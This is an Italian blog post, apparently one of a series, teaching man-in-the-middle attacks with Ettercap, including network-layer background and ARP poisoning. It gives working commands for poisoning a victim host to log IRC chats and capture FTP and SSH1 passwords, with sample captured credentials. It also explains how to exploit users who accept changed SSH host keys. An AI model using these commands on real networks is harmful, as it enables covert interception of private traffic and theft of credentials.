poter navigare. Proprio come per la strada dobbiamo seguire regole ed avere la patente che ci abilita a guidare le automobili. Internet non è differente dalle nostre strade, l'automobile è il nostro computer e le strade la stessa rete, giudare senza patente è rischioso cosi come navigare senza conoscerne i pericoli lo è su Internet. Per questo vi invito e vedere il documento di Report trasmesso lo scorso 10 Aprile e che riporto nella sua prima frazione qui:
Non abbiamo detto tutto sui pericoli del social network, sulla diffusione di malware in particolare, ma vi basterà digitare da Google le parole chiave "malware facebook" e vedrete quante pagine con vari avvisi compariranno.
Nell'attesa potete abbattere qualche asteroide.2/12/2011
Il Tabnabbing (tecniche di phishing avanzato)
1/03/2011
Firesheep e Blacksheep
Quello che mi rimane da dirvi e di non farvi sbirciare tra i vostri dati in rete e quindi optate per una protezione oppure evitate di accedere da reti sprotette e o pubbliche.
3/15/2010
ETTERCAP-NG (MITM parte seconda)
CONTINUA L'AVVENTURA NEI PANNI DEL CATTIVO.....
Ettercap, un tool completamente e totalmente Italiano. La suite per eccelenza prediletta per gli attacchi MITM (uomo di mezzo), la quale offre diverse modalità per operare in qualunque condizione e su ogni interfaccia disponibile. Ettercap nasce come strumento di analisi ma può essere utilizzato in modo molto diverso a seconda di chi lo impiega. Del resto per operare nel bene si utilizzano da sempre strumenti offensivi, quindi bene e male si possono definire tranquillamente le due facce della stessa medaglia. ETTERCAP è presente nei pacchetti di ogni distribuzione, in particolare su sistemi di analisi e testing delle reti, le sue dipendenze vengono cosi risolte automaticamente durante l'installazione ma alcune librerie è meglio verificarle in quanto ettercap potrebbe farne a meno proprio a seconda dell'impiego. Per un tool di attacco dobbiamo verificare lcune librerie importanti come libnet, libtool, openssl e naturalmente libpcap. Dopo aver installato ettercap possiamo utilizzarlo lanciandolo da terminale con i privilegi di root, e possiamo usufruire di più interfacce a seconda del comando lanciato, ad esempio:
# ettercap -T per avviarlo in modalità testo
# ettercap -C per avviarlo con le ncurses
# ettercap -G per avviarlo su X utilizzando una GUI
Quindi se siete su un terminale lanciatelo con -C , se invece avete una sessione grafica avviata potete tranquillamente utilizzare -G. Nel caso dell'interfaccia con ncurses ricordate che potrete navigare tra le finestre con il tasto TAB mentre per uscire oltre dal menu possiamo utilizzare Ctrl-Q, da notare che se ettercap -C viene lanciato su xterm possiamo anche utilizzare il mouse.
ANALISI DI ETTERCAP
Vediamo adesso alcune delle sue funzioni ed il suo utilizzo in genere, non rinunciate proprio adesso. Sotto il menù "Sniff" troverete due possibilità: "Unified Sniffing" e "Bridged Sniffing", analizziamoli entrambi per capire il loro significato.
UNIFIED SNIFFING
Scegliendo questa opzione Wttwrcap prenderà tutti i pacchetti in transito sul cavo, ne verificherà la destinazione e se non sono diretti alla macchina dalla quale stiamo operando, li direzionerà direttamente sulla rete. Scegliendo questo tipo di di sniffing l'IP Fowarding verrà logicamente disabilitato, questo per evitare che un pacchetto venga rimandato all'host di destinazione due volte, una da Ettercap e una dal Kernel. Gli autori ci avvisano anche di utilizzare con attenzione questa modalità se ci troviamop su un Gateway, questo perchè Ettercap ascolta il traffico su una singola interfaccia di rete e su una macchina dotata di più interfacce, non sarebbe possibile ri-routare il traffico nelle giuste direzioni. Quindi, se vi trovate su un Gateway, prima di iniziare lo sniffing, andate sul menù Optins e selezionate l'opzione "Unoffensive" (che dice ad Ettercap di NON disabilitare il packet fowarding del kernel). Una volta avviato lo sniffing dal menù "Start" potremo operare tutti i tipi di attachhi MITM (man-in-the-middle) che il programma mette a nostra disposizione.
BRIDGED SNIFFING
Come suggerisce il nome stesso, in questa modalità sarà possibile effettuare lo sniffing del traffico utilizzando la nostra scheda di rete in modalità bridge, avremo quindi bisogno di due interfacce dal momento che quella che viene posta in bridged mode diventerà completamente trasparente al traffico, e quindi non sarà possibile utilizzarla per manipolare i pacchetti. Questa opzione, sebbene presenti lo "svantaggio" di dover disporre di due schede di rete, rende le nostre operazioni assolutamente invisibili agli altri.... Ma prima di entrare nel dettaglio, abbiamo bisogno di conoscere le basi di una rete di computer.
RETI LAYER E HUB
Una rete, supponiamo per il momento che sia solo la nostra LAN o quella che abbiamo in ufficio, è un insieme di layer (cioè livelli), ognuno dei quali svolge un compito diverso. A seconda dei casi una rete può essere considerata come un sandwich di 5 o 7 layer differenti, ma nel nostro caso avremo bisogno soltanto di conoscerne i primi 4, che in ordine sono:
Layer 4 Trasporto
Layer 3 Network
Layer 2 Datalink
Layer 1 Fisico
Il primo layer viene utilizzato per il trasporto dei segnali elettrici che rappresentano i dati che viaggiano sulla rete, questi segnali (che in genere sono onde quadre) viaggiano da una parte all'altra tramite cavi, raggi laser, onde elettromagnetiche o raggi infrarossi, quindi la trasmissione del segnale fa parte del Layer Fisico. Questo Layer si occupa del controllo dei segnali, verifica che non ci siano stati problemi e si accorge se un segnale è arrivato disturbato a causa di collisioni o problemi sul mezzo di trasporto. Il secondo Layer diventa un pochino più astratto, su questo livello viaggiano i pacchetti Datalink, nel caso di una LAN Ethernet (ne esistono svariati altri tipi) questi pacchetti hanno una lunghezza fissa e contengono, oltre la parte riservata ai dati, un indirizzo sorgente e uno destinazione detti MAC Address (Media Access Control Address), lunghi 48 bit, ad esempio:
0A:55:84:F2:68:51.
Ogni scheda di rete ha un MAC Address unico in tutto il mondo, ed esistono alcune normative per evitare che due aziende producono schede con lo stesso numero. È molto importante che il MAC sia univoco per evitare che sulla rete LAN vengano a crearsi problemi. Questo livello si preoccupa di effettuare un controllo sui dati dei pacchetti, per vedere se sono arrivati come ci si aspettava, in caso contrario ne richiede il rinvio. Il terzo LAyer è quello su cui dimora IP, il protocollo IP serve esclusivamente per la consegna del pacchetto, IP non conosce porte ne servizi, il suo unico scopo è quello di consegnare il pacchetto, se i dati sono rovinati o non arrivano, a lui non importa, diciamo che IP è una sorta di postino, lui fa di tutto per consegnare il pacco, ma se durante il tragitto viene derubato, allora non dice nulla (IP non può semplicemente sapere che un pacchetto è andato perso). Un pacchetto IP è formato da un header con varie opzioni, un indirizzo sorgente e uno di destinazione lunghi 32bit, che sicuramente avrete visto, ad esempio: 192.168.1.1 è un indirizzo IP, anche se abbiamo rappresentato l'indirizzo MAC separato da ":" e l'indirizzo IP separato da ".", ci terrei a ricordare che è una convenzione per noi umani, alle macchine questo non interessa perchè nel pacchetto, a seconda del livello in cui si trovano, non faranno altro che leggere un numero più o meno lungo. Il quarto Layer, detto anche Layer di Trasporto, è rappresentato dal protocollo che si occupa di portare a destinazione, integri, tutti i bit del payload. I più noti, e che sicuramente conoscerete sono: TCP e UDP. Quando sentite qualcuno che vi chiede di collegarvi ad una macchina sulla porta XX, allora si sta sicuramente riferendo al Layer 4, è infatti questo livello che "conosce" ed utilizza le "porte". Mentre TCP e UDP in particolare si preoccupano di consegnare i dati con una sostanziale differenza: TCP instaura una connessione, e alla ricezione di ogni pacchetto invia una conferma, grazia a queste procedure il TCP garantisce la consegna dei dati (sempre che la linea non sia interrotta, o la macchina spenta, ma in questo caso TCP ce lo direbbe immediatamente). UDP, invece, consegna i dati su una determinata porta senza preoccuparsi se arrivino o meno a destinazione, se un pacchetto UDP si perde, non lo sapremo mai, ma se arriva siamo sicuri che i dati in esso contenuti sono esattamente quelli inviati e non contengono alterazioni. L'assenza di una connessione con conferma di arrivo rende UDP più veloce, e quindi appetibile su protocolli dove la latenza è importante (protocolli realtime o di online gaming), mentre TCP è preferibile dove è necessario sapere si i dati sono arrivati o meno (immaginate di inviare una mail e sentirvi dire che è arrivata a pezzetti, non ne sareste di certo felici). Tenete a mente che l'assenza di una connessione con conferma rende l'UDP molto più vulnerabile ad attacchi di tipo MITM rispetto al TCP.
RETE A CIPOLLA
Se non conoscevate questa distinzione sono sicuro che ora la vostra concezione di rete è leggermente cambiata, perchè messa sotto quest'ottica i pacchetti diventano delle cipolle più che dei contenitori di dati. Vi siete chiesti il perchè? Immaginate una rete formata da un PC collegato ad un router collegato su Internet, noi stimao navigando su unn sito Web e vogliamo scaricare un file, al momento del click sul nome del fle all'interno del nostro browser, viene costruito un pacchetto di richiesta, le fasi sono queste: a livello 4 il pacchetto verrà marcato con la porta di destinazione 80 (Web), verrà riempito con la nostra richiesta di download e quindi il controllo verrà passato al Layer 3, questo layer metterà un etichetta sul pacchetto scrivendoci sopra il nostro IP come sorgente, e quello del sito in questione come destinazione. Ora si scende a Layer 2, dove il pacchetto viene imbustato in un pacchetto datalink sul quale verrà scritto come indirizzo sorgente il nostro MAC e come destinazione non verrà scritto l'indirizzo MAC del sito perchè noi non possiamo conoscerlo (sappiamo infatti solo il suo IP), ma verrà scritto l'indirizzo MAC della macchina che invierà sulla rete Internet il nostro pacchetto, in questo caso quello del router. Ed ora il Layer 1 invierà un segnale che verrà inoltrato sul cavo. La scheda di rete del router vedrà il segnale (Layer 1), lo leggerà, e verificherà che si tratta di un pacchetto datalink (Layer 2)destinato a lui (in caso contrario verrebbe ignorato), quindi prende nota del mittente, scarta l'intestazione MAC e ne legge l'IP, preleva questo pacchetto (a layer 3) e lo invia su Internet. Dopo pochi millisecondi il server del sito lo vedrà in arrivo sulla porta 80 (di nuovo layer 4), scarterà l'intestazione del TCP, leggerà il contenuto del pacchetto e ci invia il file. Tutto questo in pochissimi millisecondi. Considerate ora una LAN con più di due PC, per collegarli tra loro saprete che è necessario un Hub o uno Switch. Guardandolo, a meno che non ci sia scritto sopra, non potrete capire se si tratta di un Hub o uno Switch, anche se potrebbe sembrare un dettaglio da nulla la differenza tra questi due dispositivi è enorme. Un Hub innanzitutto funziona soltanto a Layer 1, è praticamente un ripetitore di segnali, non si preoccupa di leggere il pacchetto in se, lui ascolta per un segnale e poi lo ripete su tutte le porte. Se su un Hub il segnale arriva sulla porta 2, verrà amplificato e ritrasmesso su tutte le altre porte ad eccezione di quella sorgente. Sapete questo cosa vuol dire? Che con pochi accorgimenti, possiamo leggere il traffico di tutti gli altri, anche quello non destinato a noi. Uno Switch invece funziona a Layer 2 (i più costosi anche a Layer 3), ciò vuol dire che il dispositivo deve poter leggere il pacchetto per poterne trovare il MAC sorgente e il MAC di destinazione, se vi state chiedendo a cosa serve leggere il pacchetto, presto detto: sapendo a chi è destinato non siamo costretti a ritrasmettere il segnale su tutte le porte, ma lo invieremo soltanto sulla porta dove è attaccato il nostro destinatario. Su uno Switch non è quindi possibile (con le conoscenze acquisite fino a questo punto) ascoltare il traffico che arriva sul PC degli altri utenti, semplicemente perchè questo traffico non giunge mai sul nostro cavo. Uno Switch, inoltre, consente di ottenere una LAN più efficente perchè non si hanno più collisioni sui pacchetti, come, invece, avviene spessissimo con gli Hub. E un Bridge? Un Bridge è un dispositivo molto simile ad uno Switch, lavora a Layer 2 ma serve (in genere) a collegare tra loro due LAN che usano protocolli diversi, è completamente trasparente al traffico perchè non è raggiungibile tramite un indirizzo IP o MAC, ed il suo lavoro è "semplicemente" quello di tradurre i pacchetti da un protocollo all'altro, se necessario, e metterli sulla giusta rotta. È molto importante conoscere il funzionamento di una rete se vogliamo capire come fa a funzionare uno sniffer, e cos'è un attacco MITM, ora che tutto è stato spiegato, possiamo tornare a divertirci coin Ettercap.
SNIFFING E MITM
Per sniffare il traffico è necessario un solo accorgimento, a Layer 2 la nostra scheda di rete semplicemente ignora i pacchetti che non hanno come MAC di destinazione il nostro MAC. Come ovviare? Basterà mettere la scheda in modalità promiscua, tale modalità farà si che la scheda invii al kernel tutti i pacchetti che attraversano il cavo, siano essi destinati a noi o meno. Non è assolutamente difficile, dotatevi dei privilegi di root e fate:
# ifconfig eth0 (eth0 varia con il nome della propria interfaccia)
naturalmente l'output elencherà la vostra scheda di rete elencando il MAC e IP associato, inoltre altri dati tra cui la voce "UP BROADCAST MULTICAST" la quale indica che la scheda non è in modalità promiscua, e quindi rimediamo con:
# ifconfig eth0 promisc
a questo punto noteremo che la scheda è in modalità promiscua visualizzando con ifconfig eth0 la voce precedente cambia in "UP BROADCAST PROMISC MULTICAST" quindi da questo momento tutti i pacchetti saranno letti dalla scheda di rete, non è comunque necessario fare questo a mano, Ettercap lo farà per noi, perciò rimediamo e togliamo la modalità promiscua inserita pre l'esempio con:
# ifconfig eth0 -promisc
ecco fatto, tutto tornato come prima. Proviamo quindi ad avviare una sessione di sniffing, apriamo una console e digitiamo:
# ettercap -Tp (avvia in modalità testo e promiscua)
Tutti i pacchetti saranno stampati a schermo, bloccate tutti i vostri download e cercate di guardare gli indirizzi, se vedete dei pacchetti in cui voi NON siete presenti nè nella destinazione nè nel sorgente, allora vi trovate su un Hub, se, invece, non vedete del traffico "estraneo" allora siete su uno Switch, cosa si fa allora? Nessun problema, con un pò di intuito scoprirete che trovare una soluzione non è affatto difficile. Mettetevi nei panni del router appena acceso, le sue tabelle saranno vuote, in quel medesimo istante arriva un pacchetto dalla rete Internet destinato ad un IP pubblico presente nella sua LAN ....Cosa fa? Crea un pacchetto particolare, destinato a tutti (tale pacchettosi chiama broadcast e da "tutti" è identificato con questo indirizzo FF:FF:FF:FF:FF:FF) con scritto dentro "who-has ip" cioè "chi ha questo ip?", tutte le macchine leggeranno il pacchetto ma risponderà soltantoquella che possiede l'IP cercato dicendo: "reply l'ip è a 01:02:03:04:05:06". Il router saprà quindi a quale MAC appartiene quell'IP e sarà in grado di creare un pacchetto Layer 2 per inviare la richiesta proveniente da Internet sulla rete LAN, verso l'IP cercato. La cosa è ura sicuramente più chiara, se su uno Switch non possiamo leggere il traffico destinato agli altri, perchè non ce lo facciamo mandare che è più comodo? Supponiamo quindi di voler ricevere tutto il traffico che la macchina "A" manda su Internet tramite il Gateway "G", noi siamo "B", come facciamo?
INDIRIZZI IP E MAC
Chiariamo la situazione disegnandoci una tabella dei corrispondenti IP e MAC:
Macchina MAC IP
A 01:02:03:04:05:06 192.167.1.10
B 11:12:13:14:15:16 192.167.1.31
G 21:21:23:24:25:26 192.167.1.1
Possiamo risolvere brillantemente il problema in due soli step:
Inviamo un pacchetto ad A dicendo: "reply 192.167.1.1 is at 11:12:13:14:15:16"
Inviamo un pacchett a G dicendo: "reply 192.167.1.10 is at 11:12:13:14:15:16"
I pacchetti vengono accettati? Certo! Non è necessario un arp-request perchè un computer modifichi la sua arp-cache (la tabella dove vengono mantenute le corrispondenze mac-ip) e se anche fosse necessario, bsterebbe poco per fargliene mandare uno. Dopo di che, G saprà che l'IP di A corrisponde al nostro MAC, e A saprà che l'IP di G corrisponde al nostro MAC. Perciò A invierà a noi credendo di inviare a G, e G invierà a noi credendo di inviare ad A. Manca qualcosa? Si, tutto il traffico che arriva a noi da uno dei due Host andrà reindirizzato verso l'altro, altrimenti non potrà instaurarsi nessuna connessione, questo si chiama: attacco MITM. Ovvero, qualcuno è nel mezzo della connessione..... E, ovviamente, può fare quello che vuole, se invece facciamo arp-poisoning su tutte le macchine della rete senza modificare il traffico, allora si tratta solo di sniffing.
ATTACCO MITM
Proviamo quindi ad effettuare un attacco MITM per sniffare una sessione IRC di una macchina della LAN, per far ciò dobbiamo aver chiaro in mente cosa succede: la macchina vittima si collegherà ad un server irc su Internet, ma, come abbiamo già spiegato, i pacchetti arriveranno al gateway e da li verranno inviati su Internet, quindi dovremo fare un attacco MITM tra la macchina vittima e il gateway, sulle porte classiche del servizio IRC, ciò in genere quelle che vanno da: 6666 a 6669, facciamo cosi (è indifferente l'interfaccia grafica usata, quindi non prendetela in considerazione perchè i comandi sono gli stessi), supponiamo che la macchina vitima sia 192.167.1.3:
# ettercap -T -L irc.log -M arp /192.167.1.3/ //6666-6669
In questa maniera diciamo a ettercap di avviarsi n modalità testuale (-T), loggare tutto il traffico sul file irc.log (-L irc.log), effettuare un attacco MITM tramite arp-poisoning, perchè nel mio lab la rete è cablata da uno Switch, altrimenti non potrei sniffare nulla (-M arp) e di leggere tutto il traffico proveniente dalla vittima (/192.167.1.3/) direttto a qualunque host (//) sulle porte che vanno da 6666 a 6669. Una volta avviato Ettercap colleghiamoci ad un qualunque server irc, mandiamo qualche messaggio di test, in seguito premiamo "q" sul prompt dove sta girando Ettercap ed esaminiamo il log, per farlo dovremo solo usare etterlog:
# etterlog irc.log.ecp
etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Log file version : NG-0.7.3
Timestamp : Mon Mar 15 18:05:23 2010
Type : LOG_PACKET
True Jan 26 18:48:50 2009 [765199]
TCP *.*.*.*:6666 --> 192.167.1.3:1958 | AP
:test!~test@P.it PRIVMSG test
:ciao.
True Jan 26 18:48:51 2009 [766219]
TCP *.*.*.*:6666 --> 192.167.1.3:1958 | AP
:test!~test@P.it PRIVMSG test
:come va tutto bene?.
True Jan 26 18:48:58 2009 [765199]
TCP *.*.*.*:6666 --> 192.167.1.3:1958 | AP
:test!~test@P.it PRIVMSG test
:test sniffing.
Sulla prima riga troviamo la data, sulla seconda il tipo di connessione, l'ip sotgente, la porta di provenienza e l'ip di destinazione, "AP" sono i flag tcp. Grazie al logging siamo in grado di seguire per intero una conversazione che avviene su irc, e non solo, in maniera simile possiamo anche monitorare le password che, ad esempio, vengono utilizzate su un server ftp:
# ettercap -Tq -M arp /192.167.1.3/ //21
Cosi facendo diciamo ad Ettercap di avviarsi in modalità testo (-T) ma aggiungiamo il parametro "q" che serve a dire di non stampare tutto il traffico, verranno quindi stampate soltanto le password, ovviamente richiediamo il solito attacco MITM sull'host vittima verso qualunque ftp, ecco cosa succede alla prima sessione ftp:
FTP : 212.84.*.*:21 -> USER: mirko PASS: my_pass
Viene mostrata a schermo solo la password del server e questo grazie all'FTP dissector, ovviamente Ettercap supporta una serie di altri protocolli che sono: telnet, pop, rlogin, ssh1, icq, smb, mysql, http, nntp, x11, napster, irc, rip, bgp, socks 5, imap 4, vnc, ldap, nfs, snmp, half life, quake 3, msn, ymsg. A questo punto dovreste aver notato una cosa interessante..... È possibile visualizzare in chiaro anche il traffico ssh1, ma come si fa? ssh1 utilizza un meccanismo di scambio a chiave pubblica (o asimmetrica), che funziona in questa m,aniera:
Il client genera un numero casuale di 128-256 bit che sarà la chiave con cui verrà cifrato tutto il traffico. Il client richiede al server la propria chiave pubblica. Il client cifra il numero generato, con la chiave pubblica del server e gliela invia. Il serrver decifra con la sua chiave privata questo numero ed inizializza la sessione. Il precedente post con l'esempio di Bob, Alice e Mallory descrive questo meccanismo... ricordate?
Il meccanismo di scambio viene detto a chiave "asimmetrica" perchè tutto ciò che si cifra con la chiave pubblica di qualcuno, può essere desifrato solo con la sua chiave privata. Provate ora ad entrare nell'ottica dell'attacco MITM, questo meccanismo non garantisce affatto che la chiave ricevuta sia proprio quella del client.... Perciò sfruttiamo questa falla nell'autenticazione e comportiamoci in questo modo:
Arp-poisoniamo il client e redigeriamo su di noi il suo traffico. Arp-poisoniamo il server e facciamo la stessa cosa. Quando il client invia la sua chiave pubblica, al server inviamo la NOSTRA chiave. Quando il server invia al client la sua chiave pubblica, noi gli inviamo la nostra. Registriamo sia chiave pubblica del server che del client.
In questo modo il client cifrerà il traffico verso il server con la nostra chiave pubblica, e cosi farà anche il server. Saremo quindi in grado di spiare la connessione sia da client-server che da server-client (questo si dice Full-Duplex MITM), ovviamente tutto il traffico in arrivo su di noi verrà decifrato, loggato e quindi cifrato di nuovo con la chiave del server o del client. I due computer non noteranno nulla se quella è la loro prima connessione, ma se invece si tratta della seconda o successive, ssh in automatico ci avviserà che la chiave è cambiata, tuttavia molti utenti non tengono conto dell'avviso (pensando magari che la chiave è cambiata a causa di un aggiornamento di ssh) e quindi si espongono a questo tipo di attacco.
LA PRATICA
Ma vediamo in pratica come è possibile loggare le password o il traffico su un server ssh1. Nell'esempio vedremo un attacco MITM tra una macchina (192.167.1.8) e un server ssh1, avviamo Ettercap con questi parametri:
# ettercap -Tq -M arp /192.167.1.8/ //22
Diciamo cosi al programma di avviarsi in modalità testo, senza stampare tutti i pacchetti, di far un attacco MITM tramite arp-poisoning (sempre perchè il lab si trova su uno Switch) tra l'host 192.167.1.8 e tutte le connessioni che questo host fa sulla porta 22. Portiamoci quindi sull'host 192.167.1.8 ed apriamo una connessione ssh:
# ssh HYPERLINK "mailto:mirk@192.167.1.10"mirk@192.167.1.10
Vediamo subito che SSH ci avverte del cambiamento della chiave (perchè durante la prima connessione la chiave viene registrata), tuttavia scegliendo di accettare la chiave possiamo comunque procedere, ed eccone il risultato:
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST
IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS
DOING SOMETHING NASTY!
Someone could be eavesdropping on
you right now (man-in-the-middle attack)!
It is also possible that the RSA
host key has just been changed.
The fingerprint for the RSA key
sent by remote host is
44:16:b4:d8:11:4d:cf:10:87:11:a0:58:25:63:c5:fa.
Please contact your system administrator.
Come da copione la password di ssh viene loggata all'istante:
SSH : 192.167.1.10:22 -> USER: mirk PASS: p4ssw0rD
CONCLUDENDO
Ma volendo anche tutto il traffico ssh sarebbe visibile, perciò potremmo spiare senza alcun problema tutta la sessione che sta facendo l'utente. E questo vale con ssh1, ma per ssh2? In questo caso viene utilizzato il Diffie-Hellman come algoritmo di scambio delle chiavi. Diffie-Hellman complica le cose perchè include dei check (firma digitalmente una chiave di scambio) per verificare che effettivamente la chiave ricevuta sia quella del client o del server, ma......
Per il momento fermiamoci quà, vedremo più avanti approfondimenti per vari protocolli ed altro, in particolare Ettercap che, ricordo a tutti, è un tool esclusivamente Italiano.... poi venitemi a dire che nessuno ficca il naso negli affari degli altri, non è cosi. Noi abbiamo inventato lo spionaggio e ce ne serviamo sempre, perciò qualunque cosa facciamo è pur sempre cosa "pubblica" sotto serti punti di vista, quindi sapere che questo avviene ci fa prendere altrettante precauzioni, a presto.
PS
Per visualizzare il comportamento di una sessione ssh vi rimando ad un esaudiente lezione: Come_effettuare_una_connessione_remota_SSH_da_Windows_a_Linux